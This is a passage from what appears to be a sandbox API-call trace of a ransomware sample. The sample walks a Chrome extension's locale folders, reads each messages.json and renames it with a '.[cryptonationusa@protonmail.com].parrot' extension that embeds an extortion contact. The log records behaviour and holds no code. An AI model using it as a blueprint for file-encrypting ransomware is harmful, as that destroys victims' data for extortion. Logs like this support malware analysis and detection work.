ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.599] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.599] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.599] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.600] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x236, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.600] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.600] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.601] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.601] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x11e, lpOverlapped=0x0) returned 1 [0071.601] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.601] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x236, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.601] CloseHandle (hObject=0x1fc) returned 1 [0071.601] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.606] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82a9780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8283620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.607] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.607] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.607] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.611] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x256, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.611] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.612] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.612] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x13e, lpOverlapped=0x0) returned 1 [0071.612] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.612] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x256, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.612] CloseHandle (hObject=0x1fc) returned 1 [0071.613] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.616] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.616] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82a9780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.616] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.616] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.617] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.617] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.617] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.617] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.617] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.617] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.617] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.617] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.618] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.618] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc8, lpOverlapped=0x0) returned 1 [0071.618] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.618] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.618] CloseHandle (hObject=0x1fc) returned 1 [0071.619] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.621] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.621] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82a9780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.621] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.621] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.621] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.621] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.621] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.621] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.621] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.623] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1de, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.623] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.623] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.624] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.624] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc6, lpOverlapped=0x0) returned 1 [0071.624] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.624] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.624] CloseHandle (hObject=0x1fc) returned 1 [0071.625] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82cf8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.627] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.627] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.627] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.628] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.628] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.629] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.629] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x299, lpOverlapped=0x0) returned 1 [0071.630] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.630] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.630] CloseHandle (hObject=0x1fc) returned 1 [0071.630] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.632] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.632] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82cf8e0, 